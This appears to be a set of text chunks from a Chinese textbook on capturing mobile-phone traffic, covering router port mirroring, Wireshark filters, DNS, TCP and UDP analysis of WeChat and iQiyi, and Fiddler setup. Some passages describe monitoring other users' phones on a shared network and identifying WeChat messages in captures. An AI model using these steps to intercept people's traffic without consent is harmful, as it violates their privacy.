Protocol，TCP/IP）是指能够在多个不同网络间实现信息传输的协议簇，即TCP/IP不仅指的是TCP和IP两个协议，而是指一个由FTP、SMTP、TCP、UDP、IP等协议构成的协议簇，只是因为在TCP/IP中TCP和IP最具代表性，所以被称为TCP/IP。 未知 4.6 路由器镜像抓包 当其他用户的手机和自己的计算机处于同一个网络时，则可以借助路由器的镜像端口进行抓包。镜像端口就是将一个或多个源端口的数据流量转发到某一个指定端口，用于实现对网络的监听。其中，指定的端口称为镜像端口。本节介绍路由器抓包的方法。"},
    {"text": "未知 4.6.1 设置镜像端口 很多路由器和交换机都支持该功能，但是默认都没有启用该功能。如果要使用镜像端口捕获数据包，则必须先在路由器中设置镜像端口。下面介绍设置镜像端口的方法。 【实例4-23】 以飞鱼星路由器为例，介绍设置镜像端口的方法。具体操作步骤如下： （1）登录飞鱼星路由器。本例中该路由器的IP地址为192.168.8.1，所以在浏览器中输入地址 http://192.168.8.1/ ，将显示“登录”对话框，如图4.91所示。 图4.91 “登录”对话框 （2）输入登录的用户名和密码，默认用户名和密码都为admin，然后单击“登录”按钮，将显示该路由器的欢迎界面，如图4.92所示。 图4.92 欢迎界面 （3）在左侧栏中显示了路由器的所有设置选项，这里依次选择“高级选项”|“端口镜像”选项，将显示端口镜像设置界面，如图4.93所示。 图4.93 端口镜像 （4）这里包含三个设置选项，分别是“启用”“选择监听端口”和“选择被监听端口”。其中，“启用”选项是用来设置是否启动端口镜像功能；“选择监听端口”表示指定监听数据包的接口；“选择被监听端口”表示指定镜像的端口。选中“允许端口镜像功能？”复选框，则表示启用端口镜像，然后分别设置监听端口为LAN1，被监听端口为LAN2，这样LAN2端口的所有数据包都将发送到LAN1接口。所以，用户在LAN1接口上捕获数据包，即可监听到来自LAN2接口的所有数据包。设置完成后，单击“保存”按钮，使配置生效。当然，也可以同时监听LAN2和LAN3两个接口的数据包，只需将这两个接口的复选框都选中即可。 未知 4.6.2 捕获数据包 通过前面的操作，镜像端口就设置好了，接下来即可使用镜像端口来捕获数据包。 【实例4-24】 使用Wireshark通过镜像端口被动监听数据包。其中，连接LAN1接口的主机IP地址为192.168.8.122；连接LAN2接口的主机IP地址为192.168.8.157。为了方便对数据包进行分析，这里指定使用捕获过滤器host 192.168.8.157捕获数据包。具体操作步骤如下： （1）启动Wireshark工具，然后在菜单栏中依次选择“捕获”|“选项”命令，打开“Wireshark.捕获接口”对话框，如图4.94所示。 图4.94 “Wireshark.捕获接口”对话框 （2）在接口列表中选择接口eth0，并指定使用捕获过滤器host 192.168.8.157，表示仅捕获主机192.168.8.157的数据包。选中对应的“混杂”复选框，然后，单击“开始”按钮，将捕获指定主机的数据包，如图4.95所示。 图4.95 正在捕获数据包 （3）从图4.95中可以看到，正在捕获目标主机192.168.8.157的数据包。其中，捕获的包中源或目标IP地址为192.168.8.157。此时，就可以对监听到的数据包进行分析，以获取目标主机的信息。 未知 第5章 基础数据分析 通过前面章节介绍的抓包方式，可以捕获手机应用程序的数据包，接下来就可以对这些数据进行分析了。所有程序发送的数据包都是基于TCP/IP传输的，所以可以通过分析其协议，获取数据包中的信息。本章对这些数据进行简要分析。 未知 5.1 DNS数据分析 域名系统（Domain Name System，DNS）是互联网的一项服务。它作为域名和IP地址相互映射的一个分布式数据库，能够使用户更方便地访问互联网。手机上运行的很多App都是通过访问对应的网站服务器来获取信息的。在连接网站服务之前，首先会通过DNS协议请求解析域名对应的IP地址，然后根据获取的IP地址访问对应的网站服务器主机。本节对DNS做数据分析，以获取App请求解析的域名以及对应的IP地址。 未知 5.1.1 DNS协议工作流程 在对DNS数据包分析之前，首先介绍它的工作流程，以方便用户更好地分析数据包。其中，DNS协议的工作流程如图5.1所示。 图5.1 DNS协议工作流程 该图表示客户端主机请求解析域名 www.baidu.com 的IP地址。其工作流程如下： （1）客户端向DNS服务器发送一份查询报文，请求获取主机名 www.baidu.com 的IP地址。其中，该报文中包含着要访问的主机名字段。 （2）当DNS服务器收到请求后，将会响应一份应答报文。其中，报文中包含该主机名对应的IP地址。"},
    {"text": "未知 5.1.2 DNS查询 DNS查询就是客户端请求查询域名的IP地址。通过分析DNS查询数据包，即可知道App请求了哪些域名。下面对DNS查询数据包进行分析。 【实例5-1】 以捕获微信App的数据包为例，对DNS查询数据包进行分析。具体操作步骤如下： （1）为了快速找出所有的DNS数据包，使用显示过滤器dns进行显示过滤。在显示过滤器文本框中输入显示过滤器dns，并单击右侧的箭头按钮应用该过滤器，结果如图5.2所示。 图5.2 DNS数据包 （2）从图5.2中的Protocol列可以看到，成功地过滤出了DNS协议的数据包，每两个包为一个完整会话。其中，一个包为DNS查询（Standard query），一个包为DNS响应（Standard query response）。例如，在以上包列表中，63和64分组为一个会话。在同一个DNS会话中，事务ID是相同的。如果想要快速找出DNS查询的数据包，可以使用显示过滤器dns.flags==0x0100进行过滤，结果如图5.3所示。 （3）从Info列可以看到App查询的所有域名。例如，请求的域名有mp.weixin.qq.com、 www.qq.com 和wup.imtt.qq.com等。这里将以mp.weixin.qq.com查询数据包（63帧）为例，分析该数据帧的详细信息。 Frame 63: 76 bytes on wire (608 bits), 76 bytes captured (608 bits) on interface 0 #帧摘要信息 Ethernet II, Src: 22:3c:2a:e0:c8:b4 (22:3c:2a:e0:c8:b4), Dst: 3a:7e:8d:b5: ec:b5 (3a:7e:8d:b5:ec:b5) #以太网协议 #IPv4协议 Internet Protocol Version 4, Src: 192.168.137.100, Dst: 192.168.137.1 User Datagram Protocol, Src Port: 6722, Dst Port: 53 #UDP Domain Name System (query) #DNS查询 Transaction ID: 0x6efb #事务ID Flags: 0x0100 Standard query #标志位 Questions: 1 #问题计数 Answer RRs: 0 #响应计数 Authority RRs: 0 #域名服务器计数 Additional RRs: 0 #额外计数 Queries #查询的信息 mp.weixin.qq.com: type A, class IN #域名信息 Name: mp.weixin.qq.com #请求的域名 [Name Length: 16] #域名长度 [Label Count: 4] #标签数 Type: A (Host Address) (1) #域名类型 Class: IN (0x0001) #地址类型 [Response In: 64] #响应帧 图5.3 DNS查询数据包 从以上的包信息中可以看到该DNS查询的事务ID为0x6efb，查询数为1，查询的域名为mp.weixin.qq.com，类型为主机地址等。接下来，通过分析DNS响应，即可知道其域名对应的IP地址。用户使用同样的方法，可以分析App请求的所有域名响应的IP地址。 未知 5.1.3 DNS响应 DNS响应就是DNS服务器返回的响应包。通过分析DNS响应数据包，即可知道某域名对应的IP地址。这样就可以根据IP地址，找出对应App请求的所有数据包，然后即可对其数据包进行分析，以获取用户传输的数据。下面分析DNS响应包。 【实例5-2】 仍以微信App的数据包为例分析DNS响应包。具体操作步骤如下： 使用显示过滤器dns快速过滤出DNS数据包，结果如图5.4所示。 图5.4 DNS数据包 在该列表中显示了所有DNS数据包，包括DNS查询和DNS请求。从事务ID可以看到，64帧是响应63帧的数据包，即DNS响应。其中，DNS响应包（64帧）的详细信息如下： Frame 64: 159 bytes on wire (1272 bits), 159 bytes captured (1272 bits) on interface 0 #帧摘要信息 Ethernet II, Src: 3a:7e:8d:b5:ec:b5 (3a:7e:8d:b5:ec:b5), Dst: 22:3c:2a:e0: c8:b4 (22:3c:2a:e0:c8:b4) #以太网协议 #IPv4协议 Internet Protocol Version 4, Src: 192.168.137.1, Dst: 192.168.137.100 User Datagram Protocol, Src Port: 53, Dst Port: 6722 #UDP Domain Name System (response) #DNS响应 Transaction ID: 0x6efb #事务ID Flags: 0x8180 Standard query response, No error #标志位 Questions: 1 #问题计数 Answer RRs: 5 #响应计数 Authority RRs: 0 #域名服务器数 Additional RRs: 0 #额外计数 Queries #查询的信息 mp.weixin.qq.com: type A, class IN #域名信息 Name: mp.weixin.qq.com #请求的域名 [Name Length: 16] #域名长度 [Label Count: 4] #标签数 Type: A (Host Address) (1) #域名类型 Class: IN (0x0001) #地址类型 Answers #应答信息 mp.weixin.qq.com: type CNAME, class IN, cname mpv6.weixin.qq.com mpv6.weixin.qq.com: type A, class IN, addr 223.167.86.22 mpv6.weixin.qq.com: type A, class IN, addr 223.167.105.44 mpv6.weixin.qq.com: type A, class IN, addr 58.247.205.110 mpv6.weixin.qq.com: type A, class IN, addr 223.167.86.71 [Request In: 63] #请求帧 [Time: 0.007284000 seconds] #时间戳 从以上信息中可以看到，当前报文的事务ID也是0x6efb，与63帧的查询报文相对应。从应答信息中可以看到，域名mp.weixin.qq.com有一个别名。该别名为mpv6.weixin.qq.com，对应有4个IP地址，分别是223.167.86.22、223.167.105.44、58.247.205.110和223.167.86.71。如果只想要查看DNS响应包的话，可以使用显示过滤器dns.flags==0x8180进行过滤，结果如图5.5所示。 图5.5 DNS响应数据包 DNS响应数据包界面显示了所有的DNS响应包。用户在包详细信息面板中，可以分析每个域名的相关信息，如别名、IP地址等。"},
    {"text": "未知 5.2 TCP数据分析 传输控制协议（Transmission Control Protocol，TCP）是一种面向连接的、可靠的、基于字节流的传输层通信协议。由于该协议安全、可靠，所以在手机上被广泛使用。本节对TCP数据进行分析。 未知 5.2.1 TCP工作流程 在对TCP数据包分析之前，先介绍它的工作流程，以帮助用户更好地分析其数据包的内容。如果某程序使用TCP传输数据的话，往往首先通过DNS协议获取IP地址，然后客户端则向DNS响应的服务器IP地址发送TCP SYN请求，以建立连接。成功建立连接后，便可以传输数据。当数据传输完成后，将断开连接。所以，TCP的工作流程是通过三次握手建立连接，通过四次挥手终止连接。下面分别介绍它的工作流程。 1.三次握手 TCP是因特网中的传输层协议，使用三次握手协议建立连接，其工作流程如图5.6所示。 图5.6 TCP的三次握手 三次握手的详细过程如下： （1）第一次握手建立连接时，客户端向服务器发送SYN报文（Seq=x，SYN=1），并进入SYN_SENT状态，等待服务器确认。 （2）第二次握手实际上是分两部分来完成的，即SYN+ACK（请求和确认）报文。首先，服务器收到了客户端的请求，向客户端回复一个确认信息（Ack=x+1）。然后，服务器再向客户端发送一个SYN包（Seq=y）建立连接的请求，此时服务器进入SYN_RECV状态。 （3）第三次握手是客户端收到服务器的回复（SYN+ACK报文）。此时，客户端也要向服务器发送确认包（ACK），此包发送完毕后客户端和服务器进入ESTABLISHED状态，完成三次握手。 2.四次挥手 在TCP通信中，每次握手后都会终止的。TCP在结束会话时通过四次挥手来结束连接，其工作流程如图5.7所示。 图5.7 TCP的四次挥手 四次挥手的详细过程如下： （1）客户端通过发送一个设置了FIN和ACK标志的TCP数据包，告诉服务器通信已经完成。 （2）服务器收到客户端发送的数据包后，发送一个ACK数据包来响应客户端。 （3）服务器再向客户端传输一个自己的FIN/ACK数据包。 （4）客户端收到服务器的FIN/ACK包时，响应服务器一个ACK数据包，然后结束通信过程。 未知 1.2.3 数据传输方式 数据传输是指数据从一个网络主机通过网络线路传输到另外一个网络主机上。当用户了解数据传输方式后，就知道在哪里可以捕获需要的数据包了。其中，手机数据传输方式如图1.17所示。 图1.17 手机数据传输方式 从图1.17中可以看到，手机是通过路由器连接到互联网进行数据传输的。当手机上运行某个程序后，所有的数据包都由路由器转发到互联网。所以，数据经过的设备有手机和无线路由器。因此，用户可以在手机和无线路由器上捕获数据包。另外，在线路中间也可以使用无线监听或USB连接线来捕获数据包。"},
    {"text": "未知 5.2.2 分析服务端口 通常情况下，用户在手机上会安装很多应用，并且可能都使用TCP传输数据，但是手机只会被分配一个IP地址。如果服务器仅根据IP地址向目标响应数据的话，很显然无法确定其请求是哪个程序发送的。所以主机将通过“IP地址+端口号”来请求和响应数据。其中，不同服务使用的端口不同。例如，Web服务通常使用的端口为80和443，邮件服务使用的端口为25等。下面列举几个常见的TCP网络端口，如表5.1所示。 表5.1 常见的TCP网络端口 当用户在手机上运行某程序后也可以使用netstat命令查看监听的端口，然后根据服务监听的端口来分析捕获文件中的数据包。其中，用于查看监听端口的语法格式如下： busybox netstat [options] 该工具支持的选项及含义如下。 ·-a：查看所有连接和监听端口。 ·-n：以数字形式显示地址和端口号。 ·-p：显示正在使用Socket的程序识别码和程序名称。 ·-t：查看TCP的连线状况。 ·-u：查看UDP的连线状况。 ·-l：只显示监听端口。 【实例5-3】 查看当前设备中监听的所有TCP端口。执行命令如下： root@I960:/ # busybox netstat -nptl Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1: 0.0.0.0:* LISTEN 8810/dnsmasq tcp 0 0 53192.168. 0.0.0.0:* LISTEN 8810/dnsmasq 42.129:53 tcp 327 0 192.168.137. 111.206.25. ESTABLISHED 26627/com. 100:44030 152:443 tencent.m 以上输出信息共包括6列，分别是Proto（协议）、Recv-Q（接收的数据）、Send-Q（发送的数据）、Local Address（本地地址）、Foreign Address（远程地址）、State（状态）和PID/Program name（进程ID/程序名）。从Proto列可以看到，该列显示了本机中所有的TCP程序；从显示的结果中可以看到com.tencent.m程序，服务器监听的地址为111.206.25.152，端口为443，客户端192.168.137.100与该服务器建立了连接。 【实例5-4】 以weixin.pcapng捕获文件为例，使用Wireshark分析TCP数据包中的服务端口。具体操作步骤如下： （1）在Wireshark中打开weixin.pcapng捕获文件，将显示如图5.8所示的界面。 图5.8 捕获文件wexing.pcapng （2）为了快速查找TCP数据包，可以使用显示过滤器tcp进行过滤。在显示过滤器文本框中输入tcp，将显示如图5.9所示的界面。 图5.9 TCP数据包 从图5.9中可以看到，成功过滤出了所有的TCP数据包。从Info列和包详细信息面板中，则可以看到数据传输使用的端口。从包列表中可以看到，130～132帧是客户端与服务器通过TCP三次握手建立连接的过程。从130帧的Info列可以看到该TCP SYN请求使用的端口为33227，目标服务的端口为80。其中，130帧的详细信息如下： #帧摘要信息 Frame 130: 95 bytes on wire (760 bits), 74 bytes captured (592 bits) Ethernet II, Src: InproCom_57:a7:9a (00:08:22:57:a7:9a), Dst: Skyworth_ 53:e0:35 (70:85:40:53:e0:35) #以太网 #IPv4协议 Internet Protocol Version 4, Src: 192.168.1.42, Dst: 221.204.183.54 #TCP Transmission Control Protocol, Src Port: 33227, Dst Port: 80, Seq: 0, Len: 0 Source Port: 33227 #源端口 Destination Port: 80 #目标端口 [Stream index: 13] #流索引 [TCP Segment Len: 0] #TCP分片长度 Sequence number: 0 (relative sequence number) #序列号 [Next sequence number: 0 (relative sequence number)] #下一序列号 Acknowledgment number: 0 #确认序列号 1010 .... = Header Length: 40 bytes (10) #头长度 Flags: 0x002 (SYN) #标志位 Window size value: 29200 #窗口大小 [Calculated window size: 29200] #计算的窗口大小 Checksum: 0xd3eb [unverified] #校验值 [Checksum Status: Unverified] #校验状态 Urgent pointer: 0 #紧急数据指针 Options: (20 bytes), Maximum segment size, SACK permitted, Timestamps, No-Operation (NOP), Window scale #选项 [Timestamps] #时间戳 当前分组中共包括三层协议信息，分别是以太网协议、IPv4协议和TCP。从IPv4协议层可以看到，该分组的源IP地址为192.168.1.42，目标IP地址为221.204.183.54。从TCP层可以看到，该分组的源端口为33227，目标端口为80。而且，还可以看到会话流索引、请求的序列号、数据包的标志位、窗口大小等。通过对以上信息进行分析，可以看到该分组的流索引为13，序列号为0，标志位为SYN（0x002）。而且，从Flags分支中可以看到，SYN标志值为1，其他标志值都为0。 使用显示过滤器tcp过滤出的数据包有很多，用户可能无法快速找出某个服务器对应的数据包。如果用户确定目标服务器的IP地址，可以使用显示过滤器“tcp and ip.addr=IP”快速过滤出其主机对应的数据包。例如，过滤IP地址为140.207.69.61的TCP数据包，则在显示过滤器文本框中输入“tcp and ip.addr==140.207.69.61”，应用后将显示匹配的数据包，如图5.10所示。 图5.10 匹配的数据包 图5.10中显示了主机与服务器140.207.69.61之间传输的所有数据包。此时，用户便可以对该服务器与客户端之间的数据包及传输的数据进行详细分析。"},
    {"text": "未知 5.2.3 分析传输的数据 当客户端与服务器建立连接后，即可向服务器请求获取资源，服务器收到请求后，将响应对应的资源。在使用TCP传输数据时，对于较大的数据，TCP会进行分片传输。例如，客户端请求下载一个视频或图片，但是该文件无法一次性传输，将进行分片传输。下面分析传输的数据及重组分片数据。 1.查看TCP包中传输的数据 当客户端与服务器建立连接后，将使用服务器对应的协议请求数据。例如，Web服务器将使用HTTP请求数据；FTP服务器将使用FTP请求数据。下面将以微信程序为例，查看TCP包中传输的数据，如发送的信息、微信朋友圈信息等。其中，微信程序是通过HTTP向服务器请求资源的。当客户端建立TCP连接后，微信程序将通过HTTP POST方式请求/mmtls/xxxxx获取朋友圈或其他信息；通过HTTP GET方式下载资源包。此时，用户可以显示过滤HTTP数据包，以查看请求的信息。在显示过滤器中输入http，将显示如图5.11所示的界面。 图5.11 请求的资源 从图5.11中可以看到微信程序启动后请求的资源。例如，2035帧中使用POST方式请求了mmtls/1eb17ff3信息；2100帧中使用GET方式请求下载了资源包fontsres_1535599912.zip等。 微信重启后，会切换端口号。其中，切换的端口为80、443或8080中的一个，每个端口对应的数据包如图5.12至图5.14所示。 图5.12 微信长连接的第一个80端口数据包 图5.13 微信长连接的第一个443端口数据包 图5.14 微信长连接的第一个8080端口数据包 在这三个数据包中，TCP头部有一个共同的特点，即其字节流为16f103。其中，微信长连接主要用来聊天。下面看一个发送消息的数据包。在发送的消息中，微信消息头部字节流以17f103开始，如图5.15所示。 图5.15 发送消息的数据包 对于微信程序，通常还更希望看到用户的微信朋友圈信息。其中，微信朋友圈是通过HTTP的POST方式请求资源的，请求的服务器为szextshort.weixin.qq.com。例如，下面是一个微信朋友圈的数据包，如图5.16所示。 图5.16 微信朋友圈 从图5.16中可以看到，请求的主机地址为szextshort.weixin.qq.com，并且该连接中数据字节流以19f103开始。 2.分析微信图片数据包 下面是微信程序传输图片对应的数据包，如图5.17所示。 在图5.17的数据包列表中，1860～1862帧表示客户端与服务器建立的TCP连接。1863帧是客户端发送给服务器的基本信息，如图5.18所示。 图5.17 图片传输数据包 图5.18 客户端发送的系统信息 在当前报文中，客户端向服务器发送了系统基本信息，如微信ID、系统版本、联网方式等。当服务器收到该信息后，将响应客户端，返回retcode状态信息，如图5.19所示。 图5.19 服务器响应的数据包 从该报文中可以看到服务器响应的状态码（retcode）。接下来，客户端将向服务器请求图片文件。在该数据包头部也会封装系统基本信息，并且还包含文件类型，如图5.20所示。 图5.20 客户端请求的图片 该报文信息与第一个数据包类似，包括微信ID、系统版本等，并且可以看到请求的文件类型为2。接下来，将开始下载图片文件，如图5.21所示。 图5.21 下载图片的数据包 在以上数据包中，1868帧以后的数据包便是下载图片的数据包。 3.重组分片数据 如果用户传输的文件较大，将会进行分片传输。此时，在Wireshark的Info列中可以看到，传输的数据包信息中包含有“TCP segment of a reassembled PDU”关键字，如图5.22所示。 图5.22 数据包进行了分片 由此可以说明，数据进行了分片。而且，在图5.22中可以看到，该数据包共分为了10个分片，为1865和1868～1876。 为了快速找到传输的数据完整会话，用户可以进行TCP数据分片重组。具体操作步骤如下： （1）任意选择一个分片数据包。例如，选择1863帧并单击鼠标右键，将弹出一个快捷菜单，如图5.23所示。 图5.23 右键快捷菜单 （2）依次选择“追踪流”|“TCP流”命令，将显示“追踪TCP流”对话框，如图5.24所示。 图5.24 “追踪TCP流”对话框 （3）在“追踪TCP流”对话框中，分别显示了客户端请求服务器的数据包，及服务器响应客户端的数据包。其中，红色（框选部分）表示客户端向服务器请求的数据包；蓝色（未框选部分）表示服务器响应客户端的数据包。此时，返回到Wireshark列表中，即可看到整个TCP流的数据包，如图5.25所示。 图5.25 第141个TCP流会话 （4）从图5.25的显示过滤器中可以看到，成功应用了tcp.stream eq 140显示过滤器，表示显示过滤了第141个TCP流会话。由于TCP流会话是从0开始，所以这里是第141个TCP流。此时，用户即可看到整个会话中传输的数据。为了方便分析，用户可以将整个会话流保存到另一个捕获文件。在“追踪TCP流”对话框中，单击Save as按钮，将弹出保存流对话框，如图5.26所示。 图5.26 保存流对话框 （5）在保存流对话框中，指定会话流的保存位置、文件名和文件类型。这里指定保存到桌面，文件名为test.txt，然后单击“保存”按钮，即可成功导出整个TCP会话流。"},
    {"text": "未知 5.3 UDP数据分析 用户数据报协议（User Datagram Protocol，UDP）是OSI参考模型中一种无连接的传输层协议，提供面向事务的简单、不可靠信息传送服务。由于该协议传输快、占用资源少，所以在手机中也被广泛应用，通常用于多媒体数据流、聊天等。本节对UDP数据进行分析。 未知 5.3.1 获取IP信息 UDP数据包在传输时，同样使用“IP地址+端口号”来确定目标地址。所以，在分析UDP数据包之前，需要确定服务器的IP地址及对应的端口号。当客户端使用UDP传输数据时，同样会先通过DNS协议进行域名解析，以获取目标服务器的IP地址。当获取目标服务器的IP地址后，直接向服务器请求下载资源。下面是使用爱奇艺播放器播放视频时所捕获的数据包文件。此时，首先使用显示过滤器dns，快速过滤所有的DNS数据包，以获取目标服务器的IP地址，如图5.27所示。 图5.27 DNS数据包 在图5.27中可以看到，显示了过滤出的所有DNS协议包。从14帧可以看到，请求解析的域名为static.iqiyi.com；15帧是对应的响应包。此时，查看15帧的包详细信息，即可看到目标服务器的IP地址，如图5.28所示。 图5.28 响应的服务器IP地址 在图5.28显示的结果中可以看到，域名static.iqiyi.com有一个别名static.dns.iqiyi.com，对应的IP地址有4个，分别是221.204.178.25、221.204.178.24、221.204.178.23和221.204.178.22。接下来，客户端将根据获取的地址，向服务器请求下载资源列表。例如，要显示过滤客户端向服务器（221.204.178.25）请求资源的数据包，则在显示过滤器文本框中输入ip.addr==221.204.178.25并应用后，将显示如图5.29所示的界面。 图5.29 显示过滤的数据包 从图5.29中可以看到，所有的数据包源或目标都是221.204.178.25的数据包。 未知 5.3.2 分析服务端口 UDP服务和TCP服务一样，也是通过端口来分辨运行在同一台设备上的多个应用程序。由于大多数网络应用程序都在同一台主机上运行，因此主机必须能够确保目的主机上的软件程序能从源主机处获得数据包，以及源主机能收到正确的回复。这是通过使用UDP的“端口号”完成的。其中，常见的一些UDP服务端口如表5.2所示。 表5.2 常见UDP服务端口 【实例5-5】 使用netstat命令查看监听的UDP端口。例如，这里将运行一个使用UDP传输的视频播放器（爱奇艺）。执行命令如下： root@I960:/ # busybox netstat -anpul netstat: showing only processes with your user ID Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name udp 0 0 0.0.0.0:13591 0.0.0.0: *20374/com. qiyi.vide udp 0 0 127.0.0.1:53 0.0.0.0:* 8810/dnsmasq udp 0 0 192.168.42. 0.0.0.0: *8810/ 129:53 dnsmasq udp 0 0 0.0.0.0:67 0.0.0.0:* 8810/dnsmasq udp 0 0 0.0.0.0:53081 0.0.0.0:* 20727/com. qiyi.vide udp 0 0 0.0.0.0:60000 0.0.0.0:* 20374/com. qiyi.vide udp 0 0 0.0.0.0:60001 0.0.0.0:* 20727/com. qiyi.vide udp 0 0 0.0.0.0:60002 0.0.0.0:* 20936/com. qiyi.vide udp 0 0 0.0.0.0:61040 0.0.0.0:* 20936/com. qiyi.vide udp 0 0 0.0.0.0:37248 0.0.0.0:* 20936/com. qiyi.vide udp 0 0 0.0.0.0:44181 0.0.0.0:* 20727/com. qiyi.vide udp 0 0 0.0.0.0:35006 0.0.0.0:* 20374/com. qiyi.vide udp 0 0 0.0.0.0:29376 0.0.0.0:* 20374/com. qiyi.vide udp 0 0 0.0.0.0:12739 0.0.0.0:* 20727/com. qiyi.vide udp 0 0 0.0.0.0:49871 0.0.0.0:* 20936/com. qiyi.vide udp 0 0 0.0.0.0:32219 0.0.0.0:* 20374/com. qiyi.vide udp 0 0 0.0.0.0:12784 0.0.0.0:* 20727/com. qiyi.vide udp 0 0 0.0.0.0:58878 0.0.0.0:* 20374/com. qiyi.vide udp 0 0 0.0.0.0:48639 0.0.0.0:* 20936/com. qiyi.vide 从输出信息的Proto列中可以看到，显示了本机中所有的UDP程序；从PID/Program name列中可以看到，启动的程序名为com.qiyi.vide和dnsmasq，其中com.qiyi.vide便是爱奇艺程序；从Local Address列中可以看到本地主机请求数据包使用的端口，如13 591、53 081、60 000等。此时，便可以根据端口及客户端IP地址，来显示过滤对应的数据包。 例如在显示过滤器文本框中输入“ip.addr==192.168.137.100 and udp.srcport=53 081”并应用后，将显示如图5.30所示的界面。 图5.30 匹配的数据包 从Info列中可以看到，所有数据包的源端口都为53 081。由此可以说明，是爱奇艺程序请求获取数据资源的数据包。"},
    {"text": "未知 5.3.3 分析传输的数据 当用户确定服务器的IP地址和端口后，即可分析对应传输的数据包。具体操作步骤如下： （1）显示过滤使用UDP传输数据的数据包。由于DNS也是基于UDP工作的，而且使用固定端口53。所以，这里将过滤DNS协议之外的所有UDP数据包。在显示过滤器文本框中输入“!udp.port==53 and udp”并应用后，将显示如图5.31所示的界面。 图5.31 UDP数据包 （2）从图5.31的Protocol列中可以看到，成功过滤出了所有UDP数据包。此时，选择任意一个数据包，即可查看其详细信息，例如64 581帧的详细信息如下： Frame 64581: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 0 #帧摘要信息 Ethernet II, Src: 06:a6:a3:d2:a7:e2 (06:a6:a3:d2:a7:e2), Dst: 56:21:b6:c5: 92:7f (56:21:b6:c5:92:7f) #以太网协议 #IPv4协议 Internet Protocol Version 4, Src: 192.168.137.100, Dst: 106.120.177.213 User Datagram Protocol, Src Port: 20404, Dst Port: 3478 #UDP Source Port: 20404 #源端口 Destination Port: 3478 #目标端口 Length: 20 #长度 Checksum: 0x3b1a [unverified] #校验和 [Checksum Status: Unverified] #校验状态 [Stream index: 90] #流索引 [Timestamps] #时间戳 Data (12 bytes) #数据 Data: 010700000000000000000000 #数据内容 [Length: 12] #长度 从以上报文信息中可以看到，该数据包的源端口为20404、目标端口为3478、长度为20。从数据部分可以看到，数据长度共12个字节，数据内容为010700000000000000000000。 未知 第6章 HTTP/HTTPS数据抓包和分析 HTTP和HTTPS是手机应用程序常用的网络传输协议。这两种协议都可以使用代理，将数据转发给特定的主机。利用这个特点，用户可以对其实施数据抓包。本章讲解如何对HTTP和HTTPS的数据包进行抓包和分析。 未知 6.1 数据分析概述 要分析手机上的这些数据，首先需要了解什么是HTTP，然后可以使用Fiddler工具进行抓包分析。下面介绍HTTP的基础知识，并介绍Fiddler工具的下载、安装及工作原理。 未知 6.1.1 HTTP概述 超文本传输协议（HyperText Transfer Protocol，HTTP）是一种客户端和Web服务器数据交互协议。客户端向Web服务器发送HTTP请求（HTTP Request）请求网页资源，Web服务器收到请求后生成对应的数据响应客户端，形成HTTP响应（HTTP Response），这样客户端就完成了和Web服务器的数据交互，整个工作流程如图6.1所示。 图6.1 HTTP工作流程 客户端向Web服务器发送HTTP请求时有多种请求方法。常见的请求方法及含义如表6.1所示。 表6.1 HTTP请求方法及含义 未知 6.1.2 下载Fiddler Fiddler是一款基于Windows系统的专用Web调试软件，它能够捕获、分析和修改HTTP/HTTPS数据包。要使用Fiddler需要先进行下载，方法如下： （1）访问官方网站 http://getfiddler.com ，跳转到下载页面，如图6.2所示。 图6.2 下载页面 （2）选择使用Fiddler的原因，输入使用的邮箱并选择所在国家或地区，然后选中I accept the Fiddler End User License Agreement复选框，单击Download for Windows按钮，并选择存储路径，就可以下载了。 未知 1.2.4 数据捕获方式 如果要捕获手机数据包，则需要了解数据捕获方式。手机上数据的传输方式可以分为3种，分别是手机内部、线路中间和路由器。下面分别介绍这3种数据捕获方式。 1.手机内部 手机内部表示直接在手机上捕获数据包。当用户只有一部手机时，可以通过在手机上安装抓包工具来捕获数据包。如果没有对应型号的手机，可以通过模拟器的方式虚拟一部手机。 2.线路中间 线路中间表示在数据传输的线路上捕获数据包。由于手机是通过无线网络来传输数据包的，所以用户可以进行无线监听，以捕获手机数据包。如果用户有计算机和手机的话，还可以通过USB连接线的方式来捕获数据包。 3.路由器 目前，一些路由器提供了一个镜像端口功能，它可以将一个或多个源端口的数据流量转发到某一个指定端口来实现对网络的监听，指定的端口称之为“镜像端口”。所以，如果其他用户的手机和自己的计算机在同一个网络中，则可以使用路由器的镜像端口来捕获数据包。 未知 6.1.3 安装Fiddler 成功下载的Fiddler安装包名称为FiddlerSetup.exe。下面开始安装Fiddler，方法如下： （1）双击FiddlerSetup.exe，弹出许可协议对话框，如图6.3所示。 （2）许可协议对话框中显示了使用Fiddler的许可证条款信息。单击I Agree按钮，弹出安装位置对话框，如图6.4所示。 图6.3 许可协议对话框 图6.4 安装位置对话框 （3）选择Fiddler的安装位置，然后单击Install按钮开始安装，如图6.5所示。当安装完成之后会打开一个提示网页提示Fiddler成功安装，并且给出了一些关键配置信息，如图6.6所示。 图6.5 安装进度 图6.6 安装成功 （4）单击Close按钮，并关闭打开的网页完成安装。此时，在Windows“开始”菜单中将会出现Fiddler应用程序的命令选项，如图6.7所示。 图6.7 Fiddler图标 （5）单击该图标就可以启动Fiddler，如图6.8所示。 图6.8 Fiddler启动界面"},
    {"text": "未知 6.1.4 Fiddler主界面介绍 具体使用Fiddler之前，需要对其主界面有一个基本的了解与认识。为了方便讲解，下面以编号的形式对Fiddler的每个部分进行了标注，如图6.9所示。 图6.9 Fiddler主界面 每个部分的含义如下： ①标题栏：标题查看器。 ②菜单栏：标准菜单栏。 ③工具栏：常用功能快捷图标按钮。 ④Web Sessions列表：显示Fiddler所捕获的每个Session的简短摘要信息。 ⑤选项视图：显示在Web Sessions列表中选中的Session信息。 ⑥命令输入框：用来执行命令。 ⑦状态栏：显示一些关键信息及重要的命令。 未知 6.1.5 Fiddler的工作原理 Fiddler是以Web代理服务器的形式进行工作的，它位于客户端与服务器之间，用于转发请求与响应。对于客户端来说，Fiddler扮演的是服务器；对于Web服务器来说，Fiddler扮演的又是客户端。其工作原理如图6.10所示。 图6.10 Fiddler的工作原理 未知 6.2 配置代理 为了让客户端和服务器之间的数据通过Fiddler进行传输，需要在Fiddler和客户端设备上进行相应的代理设置。下面介绍配置代理的方法。 未知 6.2.1 配置远程代理 Fiddler配置远程代理后，就可以捕获其他设备上的数据，如手机。Fiddler配置远程代理的方法如下： （1）启动Fiddler，在菜单栏中依次选择Tools|Options...命令，弹出Options对话框，如图6.11所示。 